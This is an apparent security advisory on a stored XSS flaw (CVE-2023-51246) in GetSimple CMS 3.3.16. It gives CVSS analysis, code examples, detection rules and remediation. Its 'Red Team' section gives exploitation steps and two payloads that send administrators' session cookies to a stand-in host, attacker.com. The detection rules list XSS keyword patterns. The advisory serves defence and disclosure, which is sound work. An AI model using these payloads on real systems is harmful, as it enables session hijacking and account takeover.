CVE-2023-51246

Executive Summary

CVE-2023-51246 is a stored Cross-Site Scripting (XSS) vulnerability in GetSimple CMS version 3.3.16. An authenticated backend user with the ability to add or edit articles via the /admin/edit.php page can inject arbitrary JavaScript code when using the "Source Code Mode" editor. This flaw allows an attacker with editor-level privileges to execute malicious scripts in the context of other backend users (including administrators) who view the compromised article. The vulnerability is publicly known, but no official patch has been released by the vendor, leaving all installations of version 3.3.16 exposed.

Supply Chain & Package Security

GetSimple CMS is a self-hosted PHP application distributed via its official website and GitHub repository. There is no package manager (NPM, PyPI, Go, Ruby) involved. The risk is limited to direct exploitation of the CMS instance.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Base Score: 4.8 (Medium)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): High – Attacker must have a valid backend user account with article editing permissions.
• User Interaction (UI): Required – The victim (another admin) must view the malicious article.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Potential to steal session cookies or other sensitive data.
• Integrity (I): Low – Script can modify page content or perform actions on behalf of the victim.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can lead to privilege escalation or account takeover.

Deep Dive & Mechanics

The vulnerability resides in the article editing functionality of GetSimple CMS. When a backend user creates or edits an article using the "Source Code Mode" (raw HTML/JavaScript editor), the input is not properly sanitized before being stored in the database and later rendered on the page. The /admin/edit.php page accepts HTML content, including <script> tags, without filtering or encoding.

Attack Flow:

1. An attacker with backend editor privileges logs into the admin panel.
2. The attacker navigates to /admin/edit.php and creates a new article.
3. The attacker switches to "Source Code Mode" and injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the CMS database.
5. When another backend user (e.g., an administrator) views the article (either in the admin panel or on the frontend), the script executes in their browser.
6. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: Lack of output encoding or input sanitization for the "Source Code Mode" editor. The CMS trusts the user input and stores it as-is.

Vulnerable vs. Patched Code

Vulnerable Code (GetSimple CMS 3.3.16): In /admin/edit.php, the content is saved directly without sanitization:

// Vulnerable: No sanitization
$content = $_POST['content'];
// ... save to database

When rendering the article, the content is echoed without escaping:

// Vulnerable: Direct output
echo $article->content;

Patched Code (Hypothetical Fix): A proper fix would involve HTML encoding the output or using a whitelist-based sanitizer:

// Patched: HTML encode output
echo htmlspecialchars($article->content, ENT_QUOTES, 'UTF-8');

Alternatively, use a library like HTMLPurifier to allow safe HTML while stripping scripts:

require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_content = $purifier->purify($_POST['content']);
// Save $clean_content

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid backend user account with "editor" or "admin" role.
• Access to the admin panel at /admin/.

Step-by-Step Exploit:

1. Log in to the GetSimple CMS admin panel.
2. Navigate to /admin/edit.php and create a new page.
3. Switch to "Source Code Mode" (usually a toggle button).
4. Inject the following payload into the content area:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

5. Save the article.
6. Wait for an administrator to view the article. The script will execute, sending the admin's session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor backend user activity logs for unusual article edits, especially those containing <script> tags.
• Use a Web Application Firewall (WAF) to block requests containing <script> in the content parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Apply input sanitization as described in the patched code section.
• Restrict backend user permissions to the minimum required.
• Regularly audit user accounts and remove unused ones.
• Consider using a static site generator or a more actively maintained CMS.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains from the CMS server.
• Requests containing document.cookie or fetch in the content parameter.

File IOCs:

• Modified or new article entries in the database containing <script> tags.
• Log entries in /admin/logs/ showing unusual edit activity.

Host IOCs:

• Unexpected files in the /data/ or /backups/ directory.
• Presence of JavaScript payloads in the CMS database.

Detection Engineering

YARA Rule

rule CVE_2023_51246_GetSimple_XSS {
    meta:
        description = "Detects stored XSS payloads in GetSimple CMS articles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51246"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: GetSimple CMS Stored XSS via Source Code Mode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-51246 by injecting JavaScript into article content
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/edit.php'
        cs-uri-query|contains: 'content='
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in articles (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51246 GetSimple CMS Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/edit.php"; http_uri; content:"content="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Source Code Mode for non-admin users by modifying the CMS code or using a plugin.
2. Apply a WAF rule to block requests containing <script> in the content parameter.
3. Manually sanitize input by editing the /admin/edit.php file to use htmlspecialchars() on output.

Long-Term Solutions:

1. Migrate to a supported CMS such as WordPress, Joomla, or Drupal.
2. Implement Content Security Policy (CSP) headers to restrict script execution.
3. Regularly audit and update all CMS components.
4. Use a Web Application Firewall (WAF) with virtual patching for known vulnerabilities.

Patch Status: No official patch available. Users must apply manual mitigations or migrate away from GetSimple CMS.

Valters IT